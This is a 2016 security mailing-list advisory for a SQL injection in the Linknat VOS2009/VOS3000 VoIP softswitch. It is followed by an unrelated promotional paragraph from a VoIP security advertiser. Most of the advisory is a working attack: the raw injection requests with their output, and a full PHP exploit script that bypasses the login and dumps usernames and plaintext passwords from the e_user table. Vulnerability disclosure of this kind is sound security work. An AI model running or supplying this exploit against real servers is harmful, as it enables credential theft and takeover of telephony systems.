Linknat VOS2009/VOS3000 SQL injection

From: Osama Khalid <osama () codinghazard com>
Date: Thu, 19 May 2016 16:52:54 +0500

A SQL injection was found in Linknat VOS3000/VOS2009, a popular VoIP
softswitch, that could allow remote attackers to gain access to the
credentials stored in plain-text.

Application: Linknat VOS3000/VOS2009
Versions Affected: 2.1.1.5, 2.1.1.8, 2.1.2.0
Vendor URL: http://www.linknat.com/
Bug: SQLi (with DBA privileges)
Type: Remote
Resolution: Fixed, upgrade to 2.1.2.4 or 2.1.6.0 Clean Version
Reference: WooYun-2015-145458 -
http://www.wooyun.org/bugs/wooyun-2010-0145458

The SQLi reported is time-based blind. Since it is not an in-band SQLi, the
results can be gathered from the output of welcome.jsp during the same
session.

(1st request)

POST    http://target/eng/login.jsp
PARAM   loginType=1
        name=' union select 1,2,@@version,'hello',5,6#
        pass=' OR ''='

(2nd request during the same session)

GET     http://target/eng/welcome.jsp
RESULT  0|' union select
1,2,@@version,'hello',5,6#|1|5.0.51a-community|hello|0.00|0.00|

[ EXPLOIT CODE ]

<?php
#
# Linknat VOS2009/VOS3000 SQLi exploit
#
# DISCLAIMER: The exploit is to be used for educational purposes only
#             The author would not be responsible for any misuse
#
# AUTHOR:     Osama Khalid
# WEBSITE:    http://www.codinghazard.com/
# DATE:       19/05/2016
# REF:        http://www.wooyun.org/bugs/wooyun-2010-0145458

if ($argc < 2) {
    banner();
    usage();
    exit;
}

$host         = $argv[1];
$column_one   = isset($argv[2]) ? $argv[2] : "loginname";
$column_two   = isset($argv[3]) ? $argv[3] : "password";
$table        = isset($argv[4]) ? $argv[4] : "e_user";
$other        = isset($argv[5]) ? $argv[5] : "";

function banner() {
    echo "########################################\n";
    echo "#                                      #\n";
    echo "# Linknat VOS3000/VOS2009 SQLi exploit #\n";
    echo "#                                      #\n";
    echo "#             Osama Khalid             #\n";
    echo "########### codinghazard.com ###########\n";
}

function usage() {
    echo "\n";
    echo "php vos3000.php [HOST]\n";
    echo "php vos3000.php 127.0.0.1\n";
    echo "php vos3000.php [HOST] [COL1] [COL2] [TABLE] [OTHER SQL]\n";
    echo "php vos3000.php 127.0.0.1 table_schema table_name
information_schema.tables \"where table_schema = 'mysql'\"
\n";
}

function curl($url, $post = array(), $cookies = null, $header = false) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($curl, CURLOPT_HEADER, $header);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    if ($cookies != null)
        curl_setopt($curl, CURLOPT_COOKIE, $cookies);
    if (count($post) > 0) {
        foreach ( $post as $key => $value)
            $post_items[] = $key . '=' . urlencode($value);
        $post_string = implode('&', $post_items);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string);
    }
    $data = curl_exec($curl);
    curl_close($curl);
    return $data;
}

function query($host, $query) {
    $data = curl("http://$host/eng/login.jsp";, array(
            "loginType" => 1,
            "name" => "' union " . $query . "#",
            "pass" => "' OR ''='"
        ), null, true);
    preg_match_all('|Set-Cookie: (.*);|U', $data, $matches);
    $cookies = implode('; ', $matches[1]);
    $data = curl("http://$host/eng/welcome.jsp";, array(), $cookies, false);
    $parts = explode("|", trim($data));

    if (count($parts) < 7)
        return false;

    return array($parts[3], $parts[4]);
}

function ascii_table($data) {
    $keys = array_keys(end($data));
    $wid = array_map('strlen', $keys);
    foreach($data as $row) {
        foreach(array_values($row) as $k => $v)
            $wid[$k] = max($wid[$k], strlen($v));
    }
    foreach($wid as $k => $v) {
        $fmt[$k] = "%-{$v}s";
        $sep[$k] = str_repeat('-', $v);
    }
    $fmt = '| ' . implode(' | ', $fmt) . ' |';
    $sep = '+-' . implode('-+-', $sep) . '-+';
    $buf = array($sep, vsprintf($fmt, $keys), $sep);
    foreach($data as $row) {
        $buf[] = vsprintf($fmt, $row);
        $buf[] = $sep;
    }
    return implode("\n", $buf);
}

banner();
echo "\n";
echo "Target:    $host\n";
echo "Column #1: $column_one\n";
echo "Column #2: $column_two\n";
echo "Table:     $table\n";
echo "Other:     $other\n";
echo "\n";

$results = array();
$count_result = query($host, "SELECT 1,2,COUNT(*),4,5,6 FROM $table
$other");
if ($count_result) {
    $count = intval($count_result[0]);
    echo "Found $count rows...\n";

    for ($i=0; $i<$count; $i++) {
        $q = "SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table
$other LIMIT " . $i . ",1";
        $result = query($host, $q);
        if ($result) {
            echo "R" . ($i+1) . "]\t" . $column_one . " = " .
hex2bin($result[0]) . ", " . $column_two . " = " . hex2bin($result[1]) .
"\n";
        } else {
            echo "Error retrieving row " . ($i+1) . "\n";
        }
        $results[] = array($column_one => hex2bin($result[0]), $column_two
=> hex2bin($result[1]));
    }

    if (count($results) > 0) {
        echo "\n\n" . ascii_table($results) . "\n";
    }
} else {
    echo "Error retrieving row count";
}

?>

From 2016 People using some sql injection soft wares to hack VOS3000, We have our own security system from that time, we updated our security system too strong now, my work focus was always for security for voip soft-switch. Most of the time i gave free advice or shared information as much possible free of cost. Still there are lots of dirty things running around, so please be careful always and know more. Otherwise you will never able to do good business ever. Now-a-days People using hidden scripts or malwares in VOS3000 Client software to hack VOS Server.

For More Help Knock me in whatsapp: +8801911119966 – i will do help all the ways.